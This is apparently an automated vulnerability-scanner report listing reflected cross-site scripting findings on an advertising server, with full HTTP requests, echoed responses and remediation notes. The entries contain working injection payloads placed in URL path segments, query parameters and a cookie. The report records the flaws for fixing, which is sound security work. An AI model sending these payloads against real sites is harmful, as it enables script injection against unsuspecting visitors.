GET /cmadj/idgt.v3couk/article_above7495b'-alert(1)-'e686802c9a1;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=6724288580007851;ord1=888913;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:45 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:45 GMT Content-Length: 7910
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-592130_1297806165","http://ad.doubleclick.net/adj/idgt.v3couk/article_above7495b'-alert(1)-'e686802c9a1;net=idgt;u=,idgt-592130_1297806165,11e4f07c0988ac7,none,;;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord1=888913;contx=none;dc=w;btg=;ord=6724288580007851?","728","90",false);</scr'+'ipt> ...[SNIP]...
The value of the sec request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30132'-alert(1)-'7aa8507dc69 was submitted in the sec parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3couk/article_above;sec=30132'-alert(1)-'7aa8507dc69 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:36 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:36 GMT Content-Length: 7834
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... guage="Javascript">CollectiveMedia.createAndAttachAd("idgt-46443054_1297806156","http://ad.doubleclick.net/adj/idgt.v3couk/article_above;net=idgt;u=,idgt-46443054_1297806156,11e4f07c0988ac7,none,;;sec=30132'-alert(1)-'7aa8507dc69;contx=none;dc=w;btg=?","0","0",false);</scr'+'ipt> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48079'-alert(1)-'87c4db5bbf2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj48079'-alert(1)-'87c4db5bbf2/idgt.v3couk/article_below;sec=article;fold=below;tile=3;sz=300x250;net=idgt;ord=6724288580007851;ord1=29490;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:43:13 GMT Connection: close Content-Length: 7801
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-47596877_1297806193","http://ad.doubleclick.net/adj48079'-alert(1)-'87c4db5bbf2/idgt.v3couk/article_below;net=idgt;u=,idgt-47596877_1297806193,11e4f07c0988ac7,none,;;sec=article;fold=below;tile=3;cmw=nurl;sz=300x250;net=idgt;ord1=29490;contx=none;dc=w;btg=;ord=6724288580007851?", ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7dcc1'-alert(1)-'20dbd5ac1d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3couk7dcc1'-alert(1)-'20dbd5ac1d2/article_below;sec=article;fold=below;tile=3;sz=300x250;net=idgt;ord=6724288580007851;ord1=29490;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:43:13 GMT Connection: close Content-Length: 7792
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-16600957_1297806193","http://ad.doubleclick.net/adj/idgt.v3couk7dcc1'-alert(1)-'20dbd5ac1d2/article_below;net=idgt;u=,idgt-16600957_1297806193,11e4f07c0988ac7,none,;;sec=article;fold=below;tile=3;sz=300x250;net=idgt;ord1=29490;contx=none;dc=w;btg=;ord=6724288580007851?","300","250",false);</ ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 26284'-alert(1)-'560062573fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3couk/article_below26284'-alert(1)-'560062573fb;sec=article;fold=below;tile=3;sz=300x250;net=idgt;ord=6724288580007851;ord1=29490;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:43:14 GMT Connection: close Content-Length: 7792
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-82143643_1297806194","http://ad.doubleclick.net/adj/idgt.v3couk/article_below26284'-alert(1)-'560062573fb;net=idgt;u=,idgt-82143643_1297806194,11e4f07c0988ac7,none,;;sec=article;fold=below;tile=3;sz=300x250;net=idgt;ord1=29490;contx=none;dc=w;btg=;ord=6724288580007851?","300","250",false);</scr'+'ipt> ...[SNIP]...
The value of the sec request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1b8a'-alert(1)-'b61e4c5b4fb was submitted in the sec parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3couk/article_below;sec=f1b8a'-alert(1)-'b61e4c5b4fb HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:43:11 GMT Connection: close Content-Length: 7711
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... guage="Javascript">CollectiveMedia.createAndAttachAd("idgt-23896708_1297806191","http://ad.doubleclick.net/adj/idgt.v3couk/article_below;net=idgt;u=,idgt-23896708_1297806191,11e4f07c0988ac7,none,;;sec=f1b8a'-alert(1)-'b61e4c5b4fb;contx=none;dc=w;btg=?","0","0",false);</scr'+'ipt> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4fcc6'-alert(1)-'d5b949dbbbe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj4fcc6'-alert(1)-'d5b949dbbbe/ns.bittech/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=5477863;ord1=60902;cmpgurl=http%253A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JY57=CT; cli=11e4f07c0988ac7; dc=sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:43 GMT Connection: close Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:43 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:43 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:43 GMT Content-Length: 7791
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-16498307_1297806163","http://ad.doubleclick.net/adj4fcc6'-alert(1)-'d5b949dbbbe/ns.bittech/general;net=ns;u=,ns-16498307_1297806163,11e4f07c0988ac7,icomgraph,;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=nurl;sz=728x90;net=ns;ord1=60902;contx=icomgraph;dc=w;btg=;ord=5477863?","728","90",fa ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2f931'-alert(1)-'c51e142ec13 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.bittech2f931'-alert(1)-'c51e142ec13/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=5477863;ord1=60902;cmpgurl=http%253A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JY57=CT; cli=11e4f07c0988ac7; dc=sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:43 GMT Connection: close Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:43 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:43 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:43 GMT Content-Length: 7791
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-93832968_1297806163","http://ad.doubleclick.net/adj/ns.bittech2f931'-alert(1)-'c51e142ec13/general;net=ns;u=,ns-93832968_1297806163,11e4f07c0988ac7,icomgraph,;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=nurl;sz=728x90;net=ns;ord1=60902;contx=icomgraph;dc=w;btg=;ord=5477863?","728","90",false);</scr' ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd1c5'-alert(1)-'d7e61a40e54 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.bittech/generaldd1c5'-alert(1)-'d7e61a40e54;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=5477863;ord1=60902;cmpgurl=http%253A//www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JY57=CT; cli=11e4f07c0988ac7; dc=sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:44 GMT Connection: close Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:44 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:44 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:44 GMT Content-Length: 7791
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-12597851_1297806164","http://ad.doubleclick.net/adj/ns.bittech/generaldd1c5'-alert(1)-'d7e61a40e54;net=ns;u=,ns-12597851_1297806164,11e4f07c0988ac7,icomgraph,;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=nurl;sz=728x90;net=ns;ord1=60902;contx=icomgraph;dc=w;btg=;ord=5477863?","728","90",false);</scr'+'ipt> ...[SNIP]...
The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55080'-alert(1)-'05c2db7db91 was submitted in the ppos parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/ns.bittech/general;ppos=55080'-alert(1)-'05c2db7db91&01RI=46916FB2B867B7B&01NA=na HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.bit-tech.net/news/2011/01/31/microsoft-warns-zero-day-windows/1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; dc=sea; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:36 GMT Connection: close Set-Cookie: nadp=1; domain=collective-media.net; path=/; expires=Tue, 22-Feb-2011 21:42:36 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 05:42:36 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:36 GMT Content-Length: 7734
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... cr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-57462753_1297806156","http://ad.doubleclick.net/adj/ns.bittech/general;net=ns;u=,ns-57462753_1297806156,11e4f07c0988ac7,none,;;ppos=55080'-alert(1)-'05c2db7db91&01RI=46916FB2B867B7B&01NA=na;contx=none;dc=w;btg=?","0","0",false);</scr'+'ipt> ...[SNIP]...
The value of the cli cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ec0b5"%3balert(1)//f9db80504fd was submitted in the cli cookie. This input was echoed as ec0b5";alert(1)//f9db80504fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3couk/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=6724288580007851;ord1=888913;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7ec0b5"%3balert(1)//f9db80504fd; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:41 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:41 GMT Content-Length: 7942
The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e942'%3balert(1)//bf840bf58ae was submitted in the cli cookie. This input was echoed as 8e942';alert(1)//bf840bf58ae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3couk/article_above;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord=6724288580007851;ord1=888913;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac78e942'%3balert(1)//bf840bf58ae; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; dc=dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Tue, 15 Feb 2011 21:42:41 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Wed, 16-Feb-2011 21:42:41 GMT Content-Length: 7942
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... cr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("idgt-20437569_1297806161","http://ad.doubleclick.net/adj/idgt.v3couk/article_above;net=idgt;u=,idgt-20437569_1297806161,11e4f07c0988ac78e942';alert(1)//bf840bf58ae,none,;;sec=article;fold=above;tile=1;sz=728x90;net=idgt;ord1=888913;contx=none;dc=w;btg=;ord=6724288580007851?","728","90",false);</scr'+'ipt> ...[SNIP]...
The value of the cli cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5f88'%3balert(1)//5fe77c57bc2 was submitted in the cli cookie. This input was echoed as c5f88';alert(1)//5fe77c57bc2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/idgt.v3couk/article_below;sec=article;fold=below;tile=3;sz=300x250;net=idgt;ord=6724288580007851;ord1=29490;cmpgurl=http%253A//www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://www.v3.co.uk/v3/news/2274498/veracode-cross-site-scripting Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7c5f88'%3balert(1)//5fe77c57bc2; nadp=1; blue=1; qcdp=1; JY57=3dY1_FHES3TRHCZNmOsvTJNeUatqJcvX7Nq1uKJSzEoZ2NeTOgc4cAw; apnx=1; dc=dc-sea
Response
